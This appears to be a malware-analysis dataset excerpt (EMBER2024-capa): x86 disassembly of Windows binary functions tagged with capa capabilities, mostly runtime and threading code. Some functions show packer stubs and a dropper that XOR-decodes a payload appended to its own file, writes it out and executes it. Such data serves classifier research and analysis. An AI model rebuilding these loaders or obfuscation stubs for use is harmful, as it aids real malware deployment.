joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10067d0
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1001db0
push 0x1006a00
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
add esp, 0xffffff98
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
mov dword [ebp - 4], 0
push 2
call dword [sym.imp.MSVCRT.dll___set_app_type]
add esp, 4
mov dword [0x100942c], 0xffffffff
mov dword [0x1009430], 0xffffffff
call dword [sym.imp.MSVCRT.dll___p__fmode]
mov ecx, dword [0x1009424]
mov dword [eax], ecx
call dword [sym.imp.MSVCRT.dll___p__commode]
mov edx, dword [0x1009420]
mov dword [eax], edx
mov eax, dword [sym.imp.MSVCRT.dll__adjust_fdiv]
mov ecx, dword [eax]
mov dword [0x1009434], ecx
call fcn.010069f0
mov eax, dword [0x10080f0]
test eax, eax
jne 0x1006861
push 0x10069e0
call dword [sym.imp.MSVCRT.dll___setusermatherr]
add esp, 4
call fcn.010069c0
push 0x100800c
push 0x1008008
call sub.MSVCRT.dll__initterm
add esp, 8
mov edx, dword [0x100941c]
mov dword [ebp - 0x6c], edx
lea eax, [ebp - 0x6c]
push eax
mov ecx, dword [0x1009418]
push ecx
lea edx, [ebp - 0x64]
push edx
lea eax, [ebp - 0x70]
push eax
lea ecx, [ebp - 0x60]
push ecx
call dword [sym.imp.MSVCRT.dll___getmainargs]
add esp, 0x14
push 0x1008004
push section..data
call sub.MSVCRT.dll__initterm
add esp, 8
mov edx, dword [sym.imp.MSVCRT.dll__acmdln]
mov esi, dword [edx]
mov dword [ebp - 0x74], esi
cmp byte [esi], 0x22
jne 0x100696f
inc esi
mov dword [ebp - 0x74], esi
mov al, byte [esi]
test al, al
je 0x10068d5
cmp al, 0x22
jne 0x10068c7
cmp byte [esi], 0x22
jne 0x10068de
inc esi
mov dword [ebp - 0x74], esi
mov al, byte [esi]
test al, al
je 0x10068ee
cmp al, 0x20
ja 0x10068ee
inc esi
mov dword [ebp - 0x74], esi
jmp 0x10068de
mov dword [ebp - 0x30], 0
lea eax, [ebp - 0x5c]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
test byte [ebp - 0x30], 1
je 0x100690f
mov eax, dword [ebp - 0x2c]
and eax, 0xffff
jmp 0x1006914
mov eax, 0xa
push eax
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call main
mov dword [ebp - 0x68], eax
push eax
call dword [sym.imp.MSVCRT.dll_exit]
jmp 0x1006954
add esp, 4
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp byte [esi], 0x20
jbe 0x10068de
inc esi
mov dword [ebp - 0x74], esi
jmp 0x100696f
Function at 0x40d140
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x1b
mov dword [esp + 4], 1
lea ebx, [esp + 0x24]
mov dword [esp], str.Mingw_w64_runtime_failure:_n
add eax, 0x40
mov dword [esp + 0xc], eax
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp + 4], eax
mov eax, dword [sym.imp.msvcrt.dll__iob]
add eax, 0x40
mov dword [esp], eax
call sym._vfprintf
call sym._abort
jmp dbg.mark_section_writable

Function at 0x40d1a0
Capabilities:
Allocate or change rwx memory

Disassembly:
push edi
push esi
push ebx
sub esp, 0x30
mov esi, dword [0x4910f0]
test esi, esi
jle 0x40d28d
mov edi, dword [0x4910f4]
xor ebx, ebx
lea edx, [edi + 4]
nop
mov ecx, dword [edx]
cmp ecx, eax
ja 0x40d1d4
mov edi, dword [edx + 4]
add ecx, dword [edi + 8]
cmp eax, ecx
jb 0x40d286
add ebx, 1
add edx, 0xc
cmp ebx, esi
jne 0x40d1c0
mov dword [esp], eax
mov ebx, eax
call dbg.__mingw_GetSectionForAddress
test eax, eax
mov edi, eax
je 0x40d2ca
lea ebx, [esi + esi*2]
mov esi, dword [0x4910f4]
shl ebx, 2
add esi, ebx
mov dword [esi + 8], eax
mov dword [esi], 0
call dbg._GetPEImageBase
add eax, dword [edi + 0xc]
mov dword [esi + 4], eax
lea eax, [esp + 0x14]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], eax
mov eax, dword [0x4910f4]
mov eax, dword [eax + ebx + 4]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
sub esp, 0xc
test eax, eax
je 0x40d2aa
mov eax, dword [esp + 0x28]
lea edx, [eax - 4]
and edx, 0xfffffffb
je 0x40d27f
sub eax, 0x40
and eax, 0xffffffbf
je 0x40d27f
mov eax, dword [esp + 0x20]
add ebx, dword [0x4910f4]
mov dword [esp + 8], 0x40
mov dword [esp + 4], eax
mov eax, dword [esp + 0x14]
mov dword [esp + 0xc], ebx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
test eax, eax
je 0x40d294
add dword [0x4910f0], 1
add esp, 0x30
pop ebx
pop esi
pop edi
ret
xor esi, esi
jmp 0x40d1de
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], str.__VirtualProtect_failed_with_code_0x_x
mov dword [esp + 4], eax
call dbg.__report_error
mov eax, dword [0x4910f4]
mov eax, dword [eax + ebx + 4]
mov dword [esp + 8], eax
mov eax, dword [edi + 8]
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov dword [esp + 4], eax
call dbg.__report_error
mov dword [esp + 4], ebx
mov dword [esp], str.Address__p_has_no_image_section
call dbg.__report_error
lea esi, [esi]
Function at 0x40d790
Capabilities:
Get thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0x491488
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [0x491480]
sub esp, 4
mov ebp, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
test ebx, ebx
je 0x40d7e5
lea esi, [esi]
mov eax, dword [ebx]
mov dword [esp], eax
call ebp
sub esp, 4
mov esi, eax
call edi
test eax, eax
jne 0x40d7de
test esi, esi
je 0x40d7de
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x40d7c0
mov dword [esp], 0x491488
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
sub esp, 4
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x40da00
Capabilities:
Enumerate pe sections

Disassembly:
push esi
push ebx
mov edx, dword [esp + 0xc]
mov ebx, dword [esp + 0x10]
add edx, dword [edx + 0x3c]
movzx esi, word [edx + 6]
movzx eax, word [edx + 0x14]
test esi, esi
lea eax, [edx + eax + 0x18]
je 0x40da38
xor ecx, ecx
nop
mov edx, dword [eax + 0xc]
cmp edx, ebx
ja 0x40da2e
add edx, dword [eax + 8]
cmp ebx, edx
jb 0x40da3a
add ecx, 1
add eax, 0x28
cmp ecx, esi
jne 0x40da20
xor eax, eax
pop ebx
pop esi
ret
Function at 0x41b850
Capabilities:
Allocate thread local storage

Disassembly:
push ebx
sub esp, 0x18
mov ebx, dword [0x491ed0]
test ebx, ebx
je 0x41b880
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
mov dword [ebx], eax
mov eax, dword [0x491ed0]
test eax, eax
je 0x41b8a5
cmp dword [eax], 0xffffffff
je 0x41b8c8
add esp, 0x18
pop ebx
ret
mov dword [esp + 8], sym.___shmem_winpthreads_init__pthread_tls_shmem
mov dword [esp + 4], 4
mov dword [esp], str._pthread_tls_shmem
call sym.___shmem_winpthreads_grab
mov ebx, eax
mov dword [0x491ed0], eax
jmp 0x41b85e
mov dword [esp + 8], sym.___shmem_winpthreads_init__pthread_tls_shmem
mov dword [esp + 4], 4
mov dword [esp], str._pthread_tls_shmem
call sym.___shmem_winpthreads_grab
mov dword [0x491ed0], eax
jmp 0x41b86f
call sym._abort
lea esi, [esi]
Function at 0x41bd60
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x2c
mov eax, dword [0x491ed4]
test eax, eax
je 0x41beb4
call sym.__pthread_once_raw.constprop.5
mov eax, dword [0x491ed0]
test eax, eax
je 0x41bee0
mov eax, dword [eax]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
sub esp, 4
test eax, eax
je 0x41bda0
add esp, 0x2c
pop ebx
pop esi
pop edi
pop ebp
ret
call sym._pop_pthread_mem
test eax, eax
mov ebx, eax
je 0x41bf2c
mov eax, dword [entry3]
test eax, eax
je 0x41bf2c
mov dword [ebx + 0x24], 1
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebx + 0x38], eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 1
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
sub esp, 0x10
mov dword [ebx + 0x18], eax
mov dword [ebx + 0x1c], 0xffffffff
mov dword [ebx + 0x34], 0xffffffff
mov dword [ebx + 0x60], 0
mov dword [ebx + 0x14], 0
call esi
mov ebp, eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov edi, eax
call esi
mov edx, eax
lea eax, [ebx + 0x14]
mov dword [esp + 0x18], 2
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], eax
mov dword [esp + 8], ebp
mov dword [esp + 4], edi
mov dword [esp], edx
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
sub esp, 0x1c
test eax, eax
je 0x41bf33
mov eax, dword [ebx + 0x14]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GetThreadPriority]
mov dword [ebx + 0x68], eax
movzx eax, byte [ebx + 0x20]
sub esp, 4
mov dword [ebx + 0x64], 0
and eax, 0xffffffcf
or eax, 0x10
mov byte [ebx + 0x20], al
mov eax, dword [0x491ed0]
test eax, eax
je 0x41bf06
mov dword [esp + 4], ebx
mov eax, dword [eax]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
sub esp, 8
test eax, eax
je 0x41bf33
mov eax, ebx
jmp 0x41bd98
mov dword [esp + 8], 0
mov dword [esp + 4], 4
mov dword [esp], str._pthread_tls_once_shmem
call sym.___shmem_winpthreads_grab
mov dword [0x491ed4], eax
jmp 0x41bd74
mov dword [esp + 8], sym.___shmem_winpthreads_init__pthread_tls_shmem
mov dword [esp + 4], 4
mov dword [esp], str._pthread_tls_shmem
call sym.___shmem_winpthreads_grab
mov dword [0x491ed0], eax
jmp 0x41bd86
mov dword [esp + 8], sym.___shmem_winpthreads_init__pthread_tls_shmem
mov dword [esp + 4], 4
mov dword [esp], str._pthread_tls_shmem
call sym.___shmem_winpthreads_grab
mov dword [0x491ed0], eax
jmp 0x41be93
xor eax, eax
jmp 0x41bd98
call sym._abort
nop
lea esi, [esi]
Function at 0x41c4a0
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
cmp dword [esp + 0x24], 3
je 0x41c4c0
add esp, 0x14
mov eax, 1
pop ebx
pop esi
ret 0xc
mov eax, dword [0x491ed0]
test eax, eax
je 0x41c630
mov eax, dword [eax]
cmp eax, 0xffffffff
je 0x41c4ac
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
sub esp, 4
test eax, eax
mov ebx, eax
je 0x41c4ac
test byte [eax + 0x20], 0x30
je 0x41c580
mov eax, dword [eax + 0xb0]
test eax, eax
jne 0x41c620
mov eax, dword [ebx + 0x14]
test eax, eax
je 0x41c530
mov dword [esp], eax
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
mov eax, dword [ebx + 0x18]
sub esp, 4
test eax, eax
je 0x41c522
mov dword [esp], eax
call esi
sub esp, 4
mov dword [ebx + 0x18], 0
mov dword [ebx + 0x14], 0
lea eax, [ebx + 0x1c]
mov dword [esp], eax
call sym._pthread_mutex_destroy
mov edx, dword [ebx + 0xac]
mov dword [ebx + 0x34], 0xffffffff
test edx, edx
je 0x41c686
mov eax, dword [0x491ed0]
test eax, eax
je 0x41c660
mov dword [esp + 4], 0
mov eax, dword [eax]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
sub esp, 8
mov eax, 1
add esp, 0x14
pop ebx
pop esi
ret 0xc
mov eax, dword [eax + 0x64]
test eax, eax
mov eax, dword [ebx + 0x18]
jne 0x41c5e0
test eax, eax
je 0x41c59a
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
sub esp, 4
mov eax, dword [ebx + 0xb0]
mov dword [ebx + 0x18], 0
mov dword [ebx + 0x64], 1
test eax, eax
jne 0x41c610
test byte [ebx + 0x24], 4
je 0x41c5f7
mov eax, dword [ebx + 0x14]
mov dword [ebx], 0xdeadbeef
test eax, eax
je 0x41c529
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
sub esp, 4
jmp 0x41c529
test eax, eax
je 0x41c5f0
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
sub esp, 4
mov dword [ebx + 0x18], 0
lea eax, [ebx + 0x1c]
mov dword [esp], eax
call sym._pthread_mutex_destroy
mov dword [ebx + 0x34], 0xffffffff
jmp 0x41c4ac
call sym.__pthread_cleanup_dest.part.3
jmp 0x41c5b2
call sym.__pthread_cleanup_dest.part.3
jmp 0x41c4fe
mov dword [esp + 8], sym.___shmem_winpthreads_init__pthread_tls_shmem
mov dword [esp + 4], 4
mov dword [esp], str._pthread_tls_shmem
call sym.___shmem_winpthreads_grab
mov dword [0x491ed0], eax
jmp 0x41c4cd
mov dword [esp + 8], sym.___shmem_winpthreads_init__pthread_tls_shmem
mov dword [esp + 4], 4
mov dword [esp], str._pthread_tls_shmem
call sym.___shmem_winpthreads_grab
mov dword [0x491ed0], eax
jmp 0x41c55d
mov eax, ebx
call sym._push_pthread_mem.part.0
jmp 0x41c550
Function at 0x41d820
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov esi, dword [esp + 0x20]
call sym.___pthread_self_lite
mov ebx, eax
mov dword [eax + 4], esi
mov eax, dword [eax + 0xb0]
test eax, eax
jne 0x41d89b
test byte [ebx + 0x20], 0x30
je 0x41d8a2
mov eax, dword [0x491ed0]
test eax, eax
je 0x41d92b
mov eax, dword [eax]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
sub esp, 4
test eax, eax
mov ebx, eax
je 0x41d892
cmp dword [eax + 0x14], 0
je 0x41d8b5
mov esi, dword [eax + 4]
mov dword [eax + 0x64], 1
mov eax, dword [eax + 0x18]
test eax, eax
je 0x41d885
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ecx
test byte [ebx + 0x24], 4
mov dword [ebx + 0x18], 0
jne 0x41d8ff
mov dword [esp], esi
call dword [sym.imp.msvcrt.dll__endthreadex]
call sym.__pthread_cleanup_dest.part.3
jmp 0x41d83d
add ebx, 0x6c
mov dword [esp + 4], 1
mov dword [esp], ebx
call sym._longjmp
mov dword [eax], 0xdeadbeef
mov eax, dword [eax + 0x18]
test eax, eax
je 0x41d8cc
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
cmp dword [ebx + 0xac], 0
mov dword [ebx + 0x18], 0
mov esi, dword [ebx + 4]
je 0x41d922
mov eax, dword [0x491ed0]
test eax, eax
je 0x41d951
mov dword [esp + 4], 0
mov eax, dword [eax]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
push edx
push edx
jmp 0x41d892
mov eax, dword [ebx + 0x14]
mov dword [ebx], 0xdeadbeef
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
cmp dword [ebx + 0xac], 0
mov dword [ebx + 0x14], 0
jne 0x41d8df
mov eax, ebx
call sym._push_pthread_mem.part.0
jmp 0x41d8df
mov dword [esp + 8], sym.___shmem_winpthreads_init__pthread_tls_shmem
mov dword [esp + 4], 4
mov dword [esp], str._pthread_tls_shmem
call sym.___shmem_winpthreads_grab
mov dword [0x491ed0], eax
jmp 0x41d850
mov dword [esp + 8], sym.___shmem_winpthreads_init__pthread_tls_shmem
mov dword [esp + 4], 4
mov dword [esp], str._pthread_tls_shmem
call sym.___shmem_winpthreads_grab
mov dword [0x491ed0], eax
jmp 0x41d8e8
Function at 0x4201d0
Capabilities:
Check mutex on windows
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x2c
mov edi, dword [ebp + 8]
mov dword [esp], edi
call sym._strlen
mov ebx, eax
lea eax, [eax + 0x40]
and eax, 0xfffffff0
call fcn.0040dd10
mov edx, 0x326d
sub esp, eax
lea eax, [esp + 0x1b]
mov dword [esp + 4], edi
mov dword [esp + 8], ebx
lea esi, [esp + 0xc]
mov word [esp + 0x18], dx
mov dword [esp + 0xc], 0x2d636367
mov dword [esp], eax
mov dword [esp + 0x10], 0x656d6873
mov dword [esp + 0x14], 0x64742d6d
mov byte [esp + 0x1a], 0x2d
call sym._memcpy
lea eax, [ebx + 0x10]
lea edi, [esi + eax]
mov dword [ebp - 0x24], eax
lea eax, [ebx + 0x30]
mov dword [edi], 0x61616161
mov dword [edi + 4], 0x61616161
mov dword [edi + 8], 0x61616161
mov dword [edi + 0xc], 0x61616161
mov dword [edi + 0x10], 0x61616161
mov dword [edi + 0x14], 0x61616161
mov dword [edi + 0x18], 0x61616161
mov dword [edi + 0x1c], 0x61616161
mov dword [ebp - 0x1c], eax
mov byte [esp + ebx + 0x3c], 0
mov byte [esp + ebx + 0x1b], 0
mov dword [esp + 8], esi
mov dword [esp + 4], 0
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
sub esp, 0xc
mov byte [esi + ebx + 0xf], 0x2d
mov dword [ebp - 0x20], eax
mov dword [esp + 4], 0xffffffff
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
sub esp, 8
test eax, eax
je 0x4202bf
int3
mov dword [esp], esi
call dword [sym.imp.KERNEL32.dll_FindAtomA]
sub esp, 4
test ax, ax
jne 0x420363
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call sym._malloc
mov edx, edi
mov ebx, eax
mov eax, 0x20
nop
lea esi, [esi]
bt ebx, eax
jae 0x4202f8
mov byte [edx], 0x41
add edx, 1
sub eax, 1
jne 0x4202f0
mov dword [esp], esi
call dword [sym.imp.KERNEL32.dll_AddAtomA]
sub esp, 4
test ax, ax
je 0x420360
mov ecx, dword [ebp - 0x24]
mov edx, esi
movzx eax, ax
mov dword [esp], ecx
mov ecx, dword [ebp - 0x1c]
call sym._get_ptr_from_atom_1
cmp eax, ebx
mov esi, eax
je 0x42037a
mov dword [esp], ebx
call sym._free
mov edi, dword [ebp - 0x20]
mov dword [esp], edi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
sub esp, 4
mov dword [esp], edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
sub esp, 4
lea esp, [ebp - 0xc]
mov eax, esi
pop ebx
pop esi
pop edi
pop ebp
ret
int3
mov ecx, dword [ebp - 0x24]
mov edx, esi
movzx eax, ax
mov dword [esp], ecx
mov ecx, dword [ebp - 0x1c]
call sym._get_ptr_from_atom_1
mov esi, eax
jmp 0x420332
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], 0
mov dword [esp], ebx
mov dword [esp + 8], eax
call sym._memset
mov eax, dword [ebp + 0x10]
test eax, eax
je 0x420332
mov dword [esp], ebx
call dword [ebp + 0x10]
jmp 0x420332
Function at 0x40c006
Capabilities:
Encode data using xor

Disassembly:
push ebx
mov ecx, 0xcbf
mov ebx, edx
xor word [eax], dx
lea edx, [ebx + edx]
xchg dh, dl
lea eax, [eax + 2]
loop 0x40c00e
pop ebx
ret

Function at 0x401026
Capabilities:
Create process on windows
Delete file
Read file on windows
Set file attributes
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov edx, section..text
push edi
push esi
push ebx
sub esp, 0x574
lea ecx, [esp + 0x64]
cmp edx, entry0
jae 0x40104c
movzx eax, byte [edx]
inc edx
xor al, 0xd9
mov byte [ecx], al
inc ecx
jmp 0x401039
mov byte [ecx], 0
lea esi, [esp + 0x64]
push esi
push 1
push 0
call 0x401220
push 0x104
lea ebx, [esp + 0x468]
push ebx
push 0
call sub.KERNEL32.dll_GetModuleFileNameA
push 0
push 0
push 3
push 0
push 1
push 0x80000000
push ebx
call sub.KERNEL32.dll_CreateFileA
test eax, eax
mov ebx, eax
je 0x401205
cmp eax, 0xffffffff
je 0x401205
push 2
push 0
push 0xffffffffffffff9c
push eax
call sub.KERNEL32.dll_SetFilePointer
push 0
lea ebp, [esp + 4]
push ebp
push 0x64
push esi
push ebx
call sub.KERNEL32.dll_ReadFile
push ebx
call sub.KERNEL32.dll_CloseHandle
lea edx, [esp + 0x65]
lea ecx, [esp + 0xc7]
cmp edx, ecx
jae 0x4010d4
movzx eax, byte [esp + 0x64]
xor byte [edx], al
inc edx
jmp 0x4010c6
lea edx, [esp + 0x14]
lea eax, [esp + 0x58]
cmp edx, eax
jae 0x4010e6
mov byte [edx], 0
inc edx
jmp 0x4010dc
lea eax, [esp + 4]
push eax
lea eax, [esp + 0x18]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [esp + 0x8d]
push eax
call sub.KERNEL32.dll_CreateProcessA
test eax, eax
jne 0x401205
push 0
push 0
push 3
push 0
push 1
push 0x80000000
lea eax, [esp + 0x47c]
push eax
call sub.KERNEL32.dll_CreateFileA
test eax, eax
mov ebx, eax
je 0x401205
cmp eax, 0xffffffff
je 0x401205
push 2
mov eax, 0xffffff9c
push 0
sub eax, dword [esp + 0x6d]
push eax
push ebx
call sub.KERNEL32.dll_SetFilePointer
push 0
push ebp
push dword [esp + 0x6d]
push dword [esp + 0x71]
push 0
call sub.KERNEL32.dll_GetProcessHeap
push eax
call sub.KERNEL32.dll_HeapAlloc
push eax
mov esi, eax
push ebx
call sub.KERNEL32.dll_ReadFile
push ebx
call sub.KERNEL32.dll_CloseHandle
mov eax, esi
mov edx, esi
add eax, dword [esp + 0x65]
cmp esi, eax
jae 0x40119b
movzx eax, byte [esp + 0x64]
xor byte [edx], al
mov eax, esi
inc edx
add eax, dword [esp + 0x65]
cmp edx, eax
jmp 0x401187
push pe_nt_image_headers32
lea edi, [esp + 0x6d]
push edi
call sub.KERNEL32.dll_SetFileAttributesA
push edi
call sub.KERNEL32.dll_DeleteFileA
push 0
push pe_nt_image_headers32
push 2
push 0
push 0
push 0x40000000
push edi
call sub.KERNEL32.dll_CreateFileA
test eax, eax
mov ebx, eax
je 0x401205
cmp eax, 0xffffffff
je 0x401205
push 0
push ebp
push dword [esp + 0x6d]
push esi
push eax
call sub.KERNEL32.dll_WriteFile
push ebx
call sub.KERNEL32.dll_CloseHandle
lea eax, [esp + 4]
push eax
lea eax, [esp + 0x18]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push edi
call sub.KERNEL32.dll_CreateProcessA
push 0
call sub.KERNEL32.dll_ExitProcess
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp dword [sym.imp.KERNEL32.dll_CreateMutexA]
Function at 0x518580
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0xc4000]
push edi
jmp 0x51859a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x5185a1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x518590
mov eax, 1
add ebx, ebx
jne 0x5185b3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x5185c4
jne 0x5185e3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x5185e3
dec eax
add ebx, ebx
jne 0x5185d0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x5185a8
add ebx, ebx
jne 0x5185df
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x518635
xor ecx, ecx
sub eax, 3
jb 0x5185fb
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x51866a
sar eax, 1
mov ebp, eax
jmp 0x518606
add ebx, ebx
jne 0x518606
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x5185d4
inc ecx
add ebx, ebx
jne 0x518614
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x5185d4
add ebx, ebx
jne 0x518621
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x518616
jne 0x518632
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x518616
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x518654
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x518646
jmp 0x518596
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x518654
add edi, ecx
jmp 0x518596
pop esi
mov edi, esi
mov ecx, 0x4483
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x518672
cmp byte [edi], 0x1e
jne 0x518672
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x518677
lea edi, [esi + 0x115000]
mov eax, dword [edi]
or eax, eax
je 0x5186ef
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x12089c]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x1209dc]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x5186a4
mov ecx, edi
jns 0x5186d3
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x1209e0]
or eax, eax
je 0x5186e9
mov dword [ebx], eax
add ebx, 4
jmp 0x5186c1
call dword [esi + 0x1209f0]
mov ebp, dword [esi + 0x1209e4]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x22f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x518723
sub esp, 0xffffff80
jmp 0x47406d
Function at 0x41d320
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
mov eax, section.sect_0
call 0x41d320
lcall 0x5de5, 0x8b10c483
jmp fcn.007b8e68
Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..reloc
nop
nop
mov ebx, 0x407ef8
mov ecx, 0x69d32333
nop
nop
nop
nop
nop
test eax, eax
je 0x42e04e
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x42e024
nop
nop
nop
mov eax, section..rsrc
mov ebx, 0x42cd70
nop
nop
mov ecx, 0x7aa57a3a
nop
nop
nop
test eax, eax
nop
je 0x42e084
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x42e06c
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x401219